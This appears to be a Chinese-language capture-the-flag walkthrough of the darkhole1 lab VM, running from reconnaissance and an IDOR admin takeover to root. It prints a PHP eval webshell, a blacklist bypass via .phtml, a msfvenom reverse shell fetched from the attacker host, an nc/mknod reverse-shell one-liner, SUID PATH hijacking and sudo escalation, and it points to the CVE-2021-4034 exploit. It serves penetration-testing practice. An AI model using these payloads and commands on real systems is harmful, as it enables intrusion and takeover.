darkhole1

image-20221001200754027

信息收集

首先拿到靶机ip 扫描c段

1
nmap -sP 192.168.3.1/24
image-20221001200832838

扫出靶机为192.168.3.129

端口扫描(进行全面扫描防止漏扫)

1
nmap -p 1-65535 -A 192.168.3.129
image-20221001201256448

目标只开放了22/80端口

80端口识别出服务器为apache2.4.41(这个版本好像存在解析漏洞,后面可能用到),不出意外是php的网页

image-20221001201618841

顺便看下页面源代码,没有找到有用信息

image-20221001203935404

接下来对该网站进行目录搜集

1
python dirsearch.py -u http://192.168.3.129/
image-20221001202023659

等程序跑完查看报告

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Dirsearch started Sat Oct  1 08:19:33 2022 as: dirsearch.py -u http://192.168.3.129/

403 278B http://192.168.3.129/.ht_wsr.txt
403 278B http://192.168.3.129/.htaccess.bak1
301 311B http://192.168.3.129/js -> REDIRECTS TO: http://192.168.3.129/js/
403 278B http://192.168.3.129/.htaccess.save
403 278B http://192.168.3.129/.htaccess.sample
403 278B http://192.168.3.129/.htaccess.orig
403 278B http://192.168.3.129/.htaccess_extra
403 278B http://192.168.3.129/.htaccess_sc
403 278B http://192.168.3.129/.htaccessOLD
403 278B http://192.168.3.129/.htaccessOLD2
403 278B http://192.168.3.129/.htaccess_orig
403 278B http://192.168.3.129/.htaccessBAK
403 278B http://192.168.3.129/.html
403 278B http://192.168.3.129/.htm
403 278B http://192.168.3.129/.htpasswd_test
403 278B http://192.168.3.129/.htpasswds
403 278B http://192.168.3.129/.httr-oauth
403 278B http://192.168.3.129/.php
301 315B http://192.168.3.129/config -> REDIRECTS TO: http://192.168.3.129/config/
200 947B http://192.168.3.129/config/
301 312B http://192.168.3.129/css -> REDIRECTS TO: http://192.168.3.129/css/
200 21B http://192.168.3.129/dashboard.php
200 1KB http://192.168.3.129/js/
200 2KB http://192.168.3.129/login.php
302 0B http://192.168.3.129/logout.php -> REDIRECTS TO: login.php
200 3KB http://192.168.3.129/register.php
403 278B http://192.168.3.129/server-status
403 278B http://192.168.3.129/server-status/
301 315B http://192.168.3.129/upload -> REDIRECTS TO: http://192.168.3.129/upload/
200 932B http://192.168.3.129/upload/

403状态码为禁止访问

301状态码为永久移动

302状态码为临时移动

搜集200状态码可以成功访问的目录

1
2
3
4
5
6
http://192.168.3.129/config/
http://192.168.3.129/dashboard.php
http://192.168.3.129/js/
http://192.168.3.129/login.php
http://192.168.3.129/register.php
http://192.168.3.129/upload/

接下来看看一下这些页面(根据经验config目录可能存在信息泄露/login与register登录注册页面可能存在逻辑漏洞/upload可能存在文件上传getshell)接下来也会重点关注这几个问题

首先看下config目录

image-20221001203607743

发现database.php,点进去看不到白高兴了

看下dashboard.php

image-20221001203831878

这个也进不去,英文字面意思为仪表板,猜测可能是后台之类的可能得登录才有权限访问

看下js目录

image-20221001204211920

两个js文件,先收集下来后面可能需要进行代码审计(大致看了下没啥用)

dashboard.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function form_display_hour() {
if (document.getElementById("fallday").checked) {
document.getElementById("fhourdiv").style.display = "none";
} else {
document.getElementById("fhourdiv").style.display = "flex";
}
}

function form_init() {
const today = new Date().toISOString();
const date = today.split("T")[0];
document.getElementById("fdate").min = date;
document.getElementById("fstart").step = 900;
document.getElementById("fend").step = 900;
}

function time_step_str(date, step) {
var minutes = date.getMinutes() + step;
var hours = date.getHours() + Math.floor(minutes / 60);
minutes %= 60;
hour = String(hours).padStart(2, "0");
minutes = String(minutes).padStart(2, "0");
return `${hours}:${minutes}`;
}

function form_validate_hour() {
const start = document.getElementById("fstart");
const end = document.getElementById("fend");

var startDate = new Date();
var endDate = new Date();

startDate.setHours(...start.value.split(":").map(Number));

if (end.value === "") {
end.value = time_step_str(startDate, Number(end.step) / 60);
}

endDate.setHours(...end.value.split(":").map(Number));

if (startDate > endDate) {
end.value = time_step_str(startDate, Number(end.step) / 60);
}
}

form_init();

home.js

1
2
3
4
5
6
7
8
9
10
11
12
13
window.onscroll = function() {myFunction()};

var header = document.getElementById("nav-bar");
var sticky = header.offsetTop;

function myFunction() {
if (window.pageYOffset > sticky) {
header.classList.add("sticky");
} else {
header.classList.remove("sticky");
}
}

接下来看下login.php

image-20221001204526551

不出意外是个登录页面,后面看看有没有漏洞

然后同样是register.php注册页面

image-20221001204631766

这两个页面都有可能存在sql注入,先不管

接下来看下upload目录

image-20221001204734410

有个图片,看样子在拍电影应该是某个外国明星。有可能图片里隐藏了密码,先收集下来防止被作者偷袭。

image-20221001204940150

目前网站第一层的信息收集的差不多了,进入渗透阶段。

渗透阶段

看样子是只能从登录/注册页面开始下手了

在登录页面拿我的字典弱口令爆破下,看能不能直接登上管理员的账号。(不出意外没跑下来)

那就先注册吧,注册之前养成好习惯把bp启动,拦截到注册的请求包

image-20221001210815464

发现第一个无限注册的漏洞(靶场没卵用),后端只校验用户名/邮箱/在数据库重没重复,并没有验证码进行注册限制。

接下来用注册好的账号登录,在拦截登录第二个包发现个熟悉的身影adshboard.php并且携带id

image-20221001211307844

因为我注册了两个号,admin123和admin1234,admin1234的id为3那么管理员的id可能为1,修改id=1试试能不能越权访问

image-20221001211543813

可以的,给我拦截了,再看看有没有sql注入,靶场懒得手工注入了直接sqlmap跑一下

1
sqlmap -u "http://192.168.3.129/dashboard.php?id=3" --batch
image-20221001212123930

没跑下来,暂时忽略这个请求包,继续进行渗透

登录不了别人的,老老实实登自己的账号吧,登录成功到了一个可以修改用户信息和密码的页面

image-20221001212300636

先试试修改Details信息,把用户名和邮箱admin1234改成了admin12345,试试把它改成其他存在用户admin123看看可不可以,改完没有效果,当修改id还是被拦截下来了

那么希望全都寄托在修改password的身上了。修改密码发现这个请求包是post的请求,而之前的都是get请求。看看这个接口有没有越权漏洞,更改post请求参数为id=1看看能不能更改管理员账号的密码

image-20221001214116340

因为之前登录弱口令爆破时爆破admin时提示我用户重复了,说明这个用户是存在的,可能就是id=1的用户

尝试用新修改的admin密码登录admin账号,果然成功了

image-20221001214712720

多了个upload模块,很明显了文件上传getshell,接下来就是怎么绕过限制或者黑名单

先上传一句木马试试水

1
<?php eval($_POST[tpa]);?>
image-20221001215344192

做了上传格式的限制,通过测试找到了黑名单的漏网之鱼.phtml后缀并没有进行限制

image-20221001221223952

蚁剑连接成功 直接getshell

image-20221001221440776

提权阶段

现在用户是www-data接下来要做的就是提权到root

查看敏感文件找到存在可以提权的用户

1
cat /etc/passwd | grep /bin/bash

image-20221002111538850

去john用户的家目录看看能不能找到有用的信息

1
ls -lh

image-20221002112859776

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1文件类型3文件拥有者权限3文件所属用户组权限3其他用户权限

#文件权限符以 d 开头的代表是文件夹

drwxrwxrwx

#文件权限符以 - 开头的代表是文件(包括硬链接文件,硬链接文件相当于原文件的备份,可以与原文件做到同步更新)

-rwxrwxrwx

#文件权限符以 l 开头的代表是软链接文件,软链接文件相当于原文件的快捷方式

lrwxrwxrwx

#文件权限符以 c 开头的代表是字符设备文件,例:鼠标、键盘;

crwxrwxrwx

#文件权限符以 b 开头的代表是块设备文件,例:硬盘;

brwxrwxrwx

r读w写x执行

方法一:SUID提权

这toto命令具有SUID权限,运行一下

image-20221002121215216

看一下角色变没变

image-20221002121242211

是否能查看目录下文件(仍然没有)

image-20221002121327346

这个toto看输出可能是单纯执行了id命令

image-20221002121418821

更改环境变量,等执行./toto时会执行id,执行id时就会执行我们的/bin/bash

1
2
3
4
echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto

image-20221002123724003

正常来讲应该是成功了,但这却失败了可能是蚁剑的原因,反弹到kali机上试试

方法1

生成php反弹shell

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.128 lport=7777 -o msfshell.php

image-20221002124247427

开启http

1
python -m http.server 80

蚁剑终端下载msfshell.php

还是先回到upload目录

1
cd /var/www/html/upload

下载

1
wget http://192.168.3.128/msfshell.php
image-20221002125400686

kali开启监听端口7777

1
2
3
4
msfconsole
set lhost 192.168.3.128
set lport 7777
set payload php/meterpreter/reverse_tcp
image-20221002125906558

看看参数是不是都填完了

image-20221002130000899

确认后run开始监听

image-20221002130050086

访问shell文件 触发监听

http://192.168.3.129/upload/msfshell.php

image-20221002130204877

成功拿到meterpreter

进入交互式shell

1
2
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20221002132018765

方法2

1
2
3
4
5
nc -lvvp 供攻击机连接的端口号
example: nc -lvvp 8888 -vv比-v更详细输出

mknod 设备名称 p && nc kali 的ip kali的端口 0<设备名称 | /bin/bash 1>设备名称
example: mknod backdoor p && nc 192.168.133.131 8888 0<backdoor | /bin/bash 1>backdoor 获取回显窗口

拿到交互式shell后继续执行刚才的命令,成功进入到john账号

image-20221002132616355

看看jogn目录下的文件

image-20221002132836226

只看到了password的john的密码root123还是个弱口令

user.txt没权限看不了,还有个空的file.py文件

查看当前用户可运行的文件或命令

1
sudo -l

需要刚才获取到的密码root123

image-20221002133125490

读取到john能以root权限执行file.py

接下来把john提权到root

写入file.py

1
echo "import pty;pty.spawn('/bin/bash')" > file.py

执行

1
sudo python3 /home/john/file.py

image-20221002133855135

成功拿到root

image-20221002134005729

方法二(policykit-1 CVE-2021-4034):

查找其他具有SUID权限的命令或文件

1
find / -perm -u=s -type f 2>/dev/null
image-20221002115004413

/usr/lib/policykit-1/polkit-agent-helper-1对应CVE-2021-4034

exp:https://github.com/berdav/CVE-2021-4034

clone到kali

打包zip,开启http

1
zip -q -r CVE-2021-4034.zip CVE-2021-4034/

蚁剑下载文件(蚁剑需要重新上传一个 后缀为 phar的马然后反弹的shell 即可执行php-reverse-shell.phar)

1
wget http://ip:80/CVE-2021-4034.zip

unzip解压 执行./cve-2021-4034

方法三:

image-20221002124953661

__END__